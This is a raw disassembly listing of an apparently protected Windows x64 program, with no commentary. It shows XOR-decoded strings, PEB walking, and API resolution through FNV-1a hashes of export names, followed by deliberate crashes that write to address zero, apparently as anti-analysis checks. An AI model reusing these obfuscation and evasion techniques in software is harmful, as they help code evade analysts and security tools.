call fcn.14004f3e0
mov dword [rbp + 0x5e8], 0x43700000
mov dword [rbp + 0x5ec], 0x43520000
lea rcx, [rbp + 0x5e8]
call fcn.140025d40
movsd xmm0, qword [0x14015c2b8]
movsd qword [rbp + 0x38], xmm0
movzx ecx, word [0x14015c2c0]
mov word [rbp + 0x40], cx
movzx eax, byte [0x14015c2c2]
mov byte [rbp + 0x38], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x39], 0x31
xor byte [rbp + 0x3a], 0x32
xor byte [rbp + 0x3b], 0x33
xor byte [rbp + 0x3c], 0x34
xor byte [rbp + 0x3d], 0x35
xor byte [rbp + 0x3e], 0x36
xor byte [rbp + 0x3f], 0x37
xor cl, 0x38
mov byte [rbp + 0x40], cl
xor byte [rbp + 0x41], 0x39
xor al, 0x3a
mov byte [rbp + 0x42], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov r9d, 0x8000
mov r8d, 0xff
lea rdx, [0x14018d421]
lea rcx, [rbp + 0x38]
call fcn.140047840
call fcn.140021550
movaps xmm0, xmm9
call fcn.140021cc0
mov rcx, rdi
call fcn.140025b40
mov dword [rbp + 0x5f0], 0x43700000
mov dword [rbp + 0x5f4], 0x437a0000
lea rcx, [rbp + 0x5f0]
call fcn.140025d40
movups xmm0, xmmword [0x14015c2c8]
movups xmmword [rbp + 0x7b0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14008ff80
cmp ebx, 2
jl 0x14008ff42
movdqa xmm5, xmmword [0x14011c2a0]
mov edx, r12d
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x7b4]
mov r8d, dword [rsp + 0x50]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14008fe43
jmp 0x14008ff80
lea r9, [rbp + 0x7b0]
mov r8d, r12d
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14008ff50
lea rcx, [rbp + 0x7b0]
call fcn.14004f3e0
mov dword [rbp + 0x5f8], 0x43700000
mov dword [rbp + 0x5fc], 0x43898000
lea rcx, [rbp + 0x5f8]
call fcn.140025d40
movsd xmm0, qword [0x14015c2d8]
movsd qword [rbp - 0x68], xmm0
movzx eax, word [0x14015c2e0]
mov word [rbp - 0x60], ax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x14008fff5
mov byte [rbp - 0x68], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x67], 0x31
xor byte [rbp - 0x66], 0x32
xor byte [rbp - 0x65], 0x33
xor byte [rbp - 0x64], 0x34
xor byte [rbp - 0x63], 0x35
xor byte [rbp - 0x62], 0x36
xor byte [rbp - 0x61], 0x37
xor byte [rbp - 0x60], 0x38
xor byte [rbp - 0x5f], 0x39
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8d, 0xff
lea rdx, [0x14018d520]
lea rcx, [rbp - 0x68]
call fcn.140047840
call fcn.140021550
mov dword [rsi + 0x114], 0x3f4ccccd
mov dword [rsi + 0x118], 0x3ecccccd
mov qword [rsi + 0x11c], 0x3e4ccccd
mov dword [rbp + 0x600], 0x43700000
mov dword [rbp + 0x604], 0x439d8000
lea rcx, [rbp + 0x600]
call fcn.140025d40
mov rcx, rdi
call fcn.140025b40
movaps xmm6, xmmword [0x14015f2c0]
mov dword [rbp + 0x608], 0x43820000
mov dword [rbp + 0x60c], 0x42200000
movsd xmm0, qword [str.bTUZGASE]
movsd qword [rbp + 0x1b8], xmm0
mov eax, dword [0x14015c2f0]
mov dword [rbp + 0x1c0], eax
movzx eax, word [0x14015c2f4]
mov word [rbp + 0x1c4], ax
movzx eax, byte [0x14015c2f6]
mov byte [rbp + 0x1c6], al
mov r8d, r12d
cmp ebx, 2
jl 0x1400901ca
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.bTUZGASE]
xorps xmm2, xmm0
movd dword [rbp + 0x1b8], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1bc]
xorps xmm2, xmm1
movd dword [rbp + 0x1bc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1b8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400901e0
movups xmm0, xmmword [0x14018d2e8]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rbp + 0xd0], xmm6
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14018d6a0]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d698]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d690]
xor r8d, r8d
lea rdx, [rbp + 0x608]
lea rcx, [rbp + 0x1b8]
call fcn.14003f580
test al, al
je 0x140091125
lea rax, [rbp + 0x9d0]
mov qword [rbp + 0x530], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x9d0], xmm0
mov qword [rbp + 0x9e0], r12
mov qword [rbp + 0x9e8], r12
xor r8d, r8d
lea rdx, [0x140110a7c]
lea rcx, [rbp + 0x9d0]
call fcn.140056110
nop
lea rax, [rbp + 0x9f0]
mov qword [rbp + 0x7c0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x9f0], xmm0
mov qword [rbp + 0xa00], r12
mov qword [rbp + 0xa08], r12
mov r8, r14
lea rdx, [0x14018d520]
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400902f0
lea rcx, [rbp + 0x9f0]
call fcn.140056110
nop
lea rax, [rbp + 0x950]
mov qword [rbp + 0xd0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x950], xmm0
mov qword [rbp + 0x960], r12
mov qword [rbp + 0x968], r12
mov r8, r14
lea rax, [0x14018d421]
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140090340
mov rdx, rax
lea rcx, [rbp + 0x950]
call fcn.140056110
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x970], xmm0
mov qword [rbp + 0x980], r12
mov qword [rbp + 0x988], r12
lea rax, [0x14018d322]
nop dword [rax]
inc r14
cmp byte [rax + r14], 0
jne 0x140090380
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x970]
call fcn.140056110
nop
lea rax, [rbp + 0x9d0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x9f0]
lea r8, [rbp + 0x950]
lea rdx, [rbp + 0x970]
lea rcx, [0x14018eb00]
call fcn.1400b5ed0
cmp byte [0x14018ed10], 0
jne 0x140090457
movsd xmm0, qword [str.qDF_]
movsd qword [rbp + 0x48], xmm0
movzx ecx, word [0x14015c300]
mov word [rbp + 0x50], cx
movzx eax, byte [0x14015c302]
mov byte [rbp + 0x48], 0x41
xor byte [rbp + 0x49], 0x31
xor byte [rbp + 0x4a], 0x32
xor byte [rbp + 0x4b], 0x33
xor byte [rbp + 0x4c], 0x34
xor byte [rbp + 0x4d], 0x35
xor byte [rbp + 0x4e], 0x36
xor byte [rbp + 0x4f], 0x37
xor cl, 0x38
mov byte [rbp + 0x50], cl
xor byte [rbp + 0x51], 0x39
xor al, 0x3a
mov byte [rbp + 0x52], al
cmp qword [0x14018ed30], 0xf
cmova r15, qword [0x14018ed18]
xor r9d, r9d
lea r8, [rbp + 0x48]
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140091125
movsd xmm0, qword [str.YBRW_a]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x14015c310]
mov dword [rsp + 0x68], eax
cmp byte [0x14015c313], 0
je 0x1400905d0
mov r8d, r12d
cmp ebx, 2
jl 0x14009058a
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.YBRW_a]
xorps xmm2, xmm0
movd dword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400905a0
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xec0]
call fcn.140062ce0
mov r8, rax
lea rdx, [rbp + 0x1158]
lea rcx, [0x14018eb00]
call fcn.1400b9640
nop
cmp qword [rbp + 0x1168], 2
jbe 0x140090efe
mov ecx, dword [0x14018e6fc]
call fcn.14006c240
test al, al
je 0x14009082f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400906a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400906a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400906a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140090680
cmp r8d, 0xcded1a85
je 0x1400906ab
test r9d, r9d
jne 0x140090660
mov rax, qword [rax]
jmp 0x140090630
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140090756
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140090756
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140090751
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140090730
cmp r8d, 0xe80fd3a
je 0x14009075b
test r9d, r9d
jne 0x140090710
mov rax, qword [rax]
jmp 0x1400906e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140090806
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140090806
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140090801
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400907e0
cmp r8d, 0xa52bcaf9
je 0x14009080b
test r9d, r9d
jne 0x1400907c0
mov rax, qword [rax]
jmp 0x140090790
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
call fcn.14006bf50
test al, al
je 0x140090a4f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400908c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400908c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400908c1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400908a0
cmp r8d, 0xcded1a85
je 0x1400908cb
test r9d, r9d
jne 0x140090880
mov rax, qword [rax]
jmp 0x140090850
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140090976
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140090976
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140090971
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140090950
cmp r8d, 0xe80fd3a
je 0x14009097b
test r9d, r9d
jne 0x140090930
mov rax, qword [rax]
jmp 0x140090900
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140090a26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140090a26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140090a21
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140090a00
cmp r8d, 0xa52bcaf9
je 0x140090a2b
test r9d, r9d
jne 0x1400909e0
mov rax, qword [rax]
jmp 0x1400909b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
cmp byte [0x14018e6f0], 0
je 0x140090c6f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140090ae6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140090ae6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140090ae1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140090ac0
cmp r8d, 0xcded1a85
je 0x140090aeb
test r9d, r9d
jne 0x140090aa0
mov rax, qword [rax]
jmp 0x140090a70
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140090b96
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140090b96
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140090b91
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140090b70
cmp r8d, 0xe80fd3a
je 0x140090b9b
test r9d, r9d
jne 0x140090b50
mov rax, qword [rax]
jmp 0x140090b20
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140090c46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140090c46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140090c41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140090c20
cmp r8d, 0xa52bcaf9
je 0x140090c4b
test r9d, r9d
jne 0x140090c00
mov rax, qword [rax]
jmp 0x140090bd0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
mov eax, dword [0x14015c314]
mov dword [rsp + 0x78], eax
movzx eax, word [0x14015c318]
mov word [rsp + 0x7c], ax
mov byte [rsp + 0x78], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x79], 0x31
xor byte [rsp + 0x7a], 0x32
xor byte [rsp + 0x7b], 0x33
xor byte [rsp + 0x7c], 0x34
xor byte [rsp + 0x7d], 0x35
xor edx, edx
lea rcx, [rsp + 0x78]
call fcn.14006bf90
test al, al
je 0x140090ecf
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140090d46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140090d46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140090d41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140090d20
cmp r8d, 0xcded1a85
je 0x140090d4b
test r9d, r9d
jne 0x140090d00
mov rax, qword [rax]
jmp 0x140090cd0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140090df6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140090df6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140090df1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140090dd0
cmp r8d, 0xe80fd3a
je 0x140090dfb
test r9d, r9d
jne 0x140090db0
mov rax, qword [rax]
jmp 0x140090d80
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140090ea6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140090ea6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140090ea1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140090e80
cmp r8d, 0xa52bcaf9
je 0x140090eab
test r9d, r9d
jne 0x140090e60
mov rax, qword [rax]
jmp 0x140090e30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
mov edx, Ordinal_301
lea ecx, [rdx - 0x32]
call qword [sym.imp.KERNEL32.dll_Beep]
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x14018e6f9], 0
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x14018e6f2], 1
jmp 0x14009110f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140090f86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140090f86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140090f81
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140090f60
